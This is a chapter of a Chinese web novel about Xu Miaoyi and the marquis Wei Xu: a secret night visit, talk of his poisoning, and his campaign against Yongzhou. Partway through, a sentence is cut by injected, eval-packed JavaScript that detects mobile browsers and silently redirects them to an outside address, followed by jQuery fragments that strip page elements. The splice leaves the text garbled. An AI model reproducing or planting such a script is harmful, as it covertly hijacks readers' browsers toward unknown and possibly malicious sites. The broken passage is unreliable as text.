小厨房分明点着蜡烛,却迟迟没见里头应答,顾长宁不禁心中生疑,又往前走了两步。
听见脚步声越来越近,徐妙宜一颗心提到嗓子眼,迅速抓住卫栩的手臂,将他往灶台后推,“先躲起来,别让阿姐发现了。”
卫栩眉梢轻佻,“怎么?”
难道他就这么见不得人?
徐妙宜忙把那张小杌子给了卫栩,压着他坐下,发现还是没法完全遮住。
他实在太高,即便是坐着也比灶台高出大半个脑袋,炉灶前又全是灰烬,她也没法让他盘腿坐在地上。
也幸好他进来时反手栓上了门,顾长宁被困在外头,敲门道:“窈窈,你在里面吗?怎么把门锁了?”
一边是表姐在门外催促,另一边,郎君不肯配合存心捉弄她。
徐妙宜急到额头沁出细汗,索性捧起那俊美面孔,主动亲了亲他紧抿的薄唇,温言软语央求道:“待会儿阿姐走了,我就来找侯爷,我保证不躲着您。”
昏黄烛火映照下,那琉璃瞳中透露出一丝笑意,卫栩如她所愿垂下了头。
他抬手抚了抚唇角,那个吻太过温柔,如一片羽毛轻轻拂过。
却意外令他心情大好。
敲门声越来越急促,顾长宁察觉不对劲,着急起来,“窈窈?”
终于,徐妙宜携一身药味打开了门,“阿姐,我……我方才光顾着盯火候去了,没有听见。”
皎皎月华下,小娘子两靥泛着红晕,目光有些飘忽,神情紧张。
顾长宁眨了眨眼,仔细打量厨房,里头除了她没有旁人,窗户都掩得好好的,并无进出痕迹。
所以她方才为什么要锁上门呢?顾长宁压下心中疑惑,把药瓶递给徐妙宜,“你要的东西。”
“有劳阿姐。”徐妙宜掩上门,携她往外走去,“舅舅的药还要会儿才能煎好,我们先回去。”
顾长宁劝道:“你还没成婚,这种东西……”
想到卫栩还在里头,担心表姐说漏嘴,徐妙宜慌忙打断她,“阿姐,我知道的,我……我肚子有些疼,你快送我回屋。”
说完,她捂住小腹,假装痛苦地皱起眉头。
顾长宁被她吓了一跳,忙扶住那摇摇欲坠的娇弱身子。
徐妙宜原本是装病诓骗她离开,未曾想回到卧房后,腹部当真一阵绞痛,身下涌出热流,她来癸水了。
这段时日断了调理汤药,月信又开始不准时,上次过去不到二十天。
当真是个麻烦事。
她疼得迷迷糊糊,意识到顾长宁帮自己换了衣裳,请了女医过来为她看诊开药,她想爬起来,却没有一丝力气。
过去很久后,腹痛才终于止住,她睁开眼眸,慢慢收拢思绪,发觉阿姐已经走了。
烛台熄灭,青纱帐掩下,室内重归沉寂。
忽然被褥往下沉了沉,一道高大身影坐在床边。
徐妙宜瞪大双眸,他怎么悄无声息潜入她的卧房?
那粗粝大掌摸了摸她的脸,卫栩问:“生病了?流这么多汗。”
“我……”徐妙宜小声解释,“我来了月事,今夜没法跟您走了。”
她怕郎君食髓知味,若他坚持的话,她也可以用别的方式帮他。
卫栩道:“我只是来探望你舅父。”
如此说来,她稍稍放心了些,“侯爷之前说过让我们接舅舅回凉州,您公务繁忙,我们不好意思总打扰,况且您已经照顾舅舅很久了,不如,让阿姐早日带着舅舅回去吧。”
卫栩问:“不想与你舅父多待一段时日?”
她当然想,可将来总要分别,再者她从郭恒口中得知,义军将要攻打雍州,到时她肯定要随他出发。
徐妙宜慢慢坐起来,“阿翁和舅母都很挂念舅舅,我不想让他们再担心。”
卫栩沉默。
那她呢?就这么无名无分跟着自己去了洛京,顾家人难道不担心她?
她永远都在照顾别人的感受,默默忍耐命运不公对待,接受自己被抛弃,被利用。
那颗柔软的心脏里,仿佛永远长不出恨意,不像他,阴鸷狠厉,睚眦必报,谁敢予他一分痛苦,他必定十倍偿还回去。
他嗓音沙哑,“徐妙宜,难道你心里就没有过一丁点的恨吗?”
在过去无数个被试药折磨的日夜,难道不应该恨他吗?
她不明白他为何突然这么问,但还是如实相告,“在益水郡的时候,我曾经恨过我阿耶,我问侯爷要了一枚毒药,我想毒死卫霄,让国公爷问罪他和徐家。”
“可后来我又想了很多遍,我其实没有那样的勇气,如果当时侯爷不愿意带我走的话,我大概会在回到徐家后,自己吞下那枚毒药,去九泉之下和阿娘团聚。”
走投无路之际,是卫栩给了她选择。
她害怕试药,但如果没有他,她不可能回到顾家,更不可能见到舅父。
是非恩怨早已纠缠不清,总是要往前看的,不能一味困宥于过往,就如后来她也选择不再恨,只当自己再也没有这个阿耶。
过了很久,她才听见卫栩开口,“当初我取你心头血,是为了解毒。”
他也只解释了这么一句。
徐妙宜微怔,眼前浮现出郎君血瞳黑纹的古怪模样,终于明白为何自己从未在医书中见过这样的怪疾。
原来折磨他,让他遭受噬心之苦的,是一味奇毒。
又是何人给他下的毒呢?
卫栩知她心中困惑,却不想提及陈年旧事,故意错开话题:“你房里有没有吃食?”
他自进了刺史府,便没有用过饭,齐王本打算留下他一起用膳,却被他婉言谢绝。到现在这个时辰,早就饥肠辘辘。
“有的。”
徐妙宜爬起来找到些糕点,把咸口的酥饼都挑出来给了他,又倒了盏温水。
表姐就宿在隔壁,怕被发现动静,她只点了一支蜡烛。
他虽然饿得厉害,但吃相还是很文雅,徐妙宜双手托腮望着郎君。
隔着一方食案,卫栩沉沉注目她,“想说什么?”
她轻声问:“侯爷主动说起中毒一事,是因为觉得曾经利用了我,心中有愧吗?”
卫栩并未否认。
她觑了眼郎君的神色,继续说道:“既然这样,侯爷能否答应我一个小小的请求呢?”
卫栩眼皮一撩,须臾猜出她要提什么请求,想到那小郎中,立刻面色阴沉,“不能。”
“裴郎中他无权无势,从来没有想过与您相争,他只是以为我遇到了危险,想要尽绵薄之力罢了。”她说,“我知道侯爷没有杀他已经是仁慈了,那么,请您再多施舍一点点仁慈,让这件事翻篇过去,好不好?”
卫栩抿唇不语,眸光渐渐冷冽。
徐妙宜握住那修长粗粝的手,语气焦急提醒他,“在紫云郡的时候,侯爷分明答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264619|160078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应过我……”
她都让他尝了甜头,而且那夜,他分明很愉悦。
终于,卫栩淡淡开口:“天亮后,我要去雍州。”
她怔了怔,不解地问,“殿下刚从雍州回来,为何又要去呢。”
卫栩用指尖沾了沾茶水,在食案上画了一副简易堪舆图。
“雍州拱卫洛京,地势险要,易守难攻,数日前齐王兵败,贻误战机。”他避开官道,画了一条新的路线给她看,“须带领轻骑兵从这里取道,越过紫云山脉,攻其西北角。”
“不仅我们要去雍州,楚王也集结了兵马,正往洛京行军,所以此战很险。”卫栩眸光幽暗,“但我可以向你保证,若我活着,绝不杀他。”
数方势力交战于此,他没有十足把握,定不会现在就放了裴言。
徐妙宜心头一跳,她的命,顾家人的命,裴言的命,都系在卫栩身上,他绝不能出事。
昏暗烛火映照下,她看着郎君英俊凌厉面容,语气担忧:“可当时陆娘子送还兵符,侯爷没有收。”
没有兵符,那些将士还肯听他的吗?
卫栩眉眼间尽是杀伐锐气,他牵了牵唇角,轻笑,“凉州军从来不听命于一块青铜令牌行事。”
**
大军开拔后,赵承筠意外交回指挥权,除了坐镇军中处理些公务,其余一概不问,与卫栩恢复了最初的默契合作。
嘉宁元年六月中旬,经历多天鏖战,叛军攻下雍州,楚王止步浔河不再北上,据天险而守南境,天下两分之势渐成。
在郎中的精心医治下,顾思安逐渐好转,拄着手杖独自行走无碍。
过不久,裴言和两个护卫也被孙大夫送了回来,他左腿的箭伤已经治好,没留下后遗症。
令徐妙宜感到奇怪的是,裴言似乎不认识她了,也不记得在紫云郡被朝廷军俘虏的那段经历。
孙大夫悄悄与她解释:“万春谷有种法子可以抹去记忆,娘子且放心,这位小郎君身体并无大碍。这段时日,老夫将他带在身边,瞧他对医术颇有见解,若悉心学习,将来定能有所成。”
或许这样也好,念在裴言对阿姐和自己曾有救命之恩,顾家定会重用他,将来他生活无忧。
顾家送的十车药草也到了,徐妙宜与舅父提起,自己想去趟雍州,亲自向镇北侯道谢。
“如此也可,等齐王登基,侯爷大约要定居洛京,不会再回凉州了。”顾思安道,“冀州去雍州来回不过十日,我和宁儿等你回来了,再一起回家。”
徐妙宜却摇头,“舅舅和阿姐先回去吧,我们在冀州耽搁这么久,阿翁和舅母早就已经很着急了。”
其实早在卫栩离开那时,舅父和阿姐就应该启程返回了,他却没有应允,拖延到如今,也是希望她多和家人相处。
她心里还是感激他这番安排的。
担心舅舅不肯同意,她又道:“我方才听孙先生说,过不久,侯爷要派人去接小公子,到时我可以和侯府使者一起回凉州。”
许是出于对镇北侯的信任,顾思安同意这番安排,但还是留了十来个护卫给她。
五日后,徐妙宜随孙大夫抵达雍州军营。
去到营帐,却不见卫栩人影。
兵士告诉她,镇北侯有事外出,要晚些时候才能回来。
分明约定好今日见面,他为何骤然失约,又去了哪里?徐妙宜轻咬朱唇,心中掠过一丝疑惑。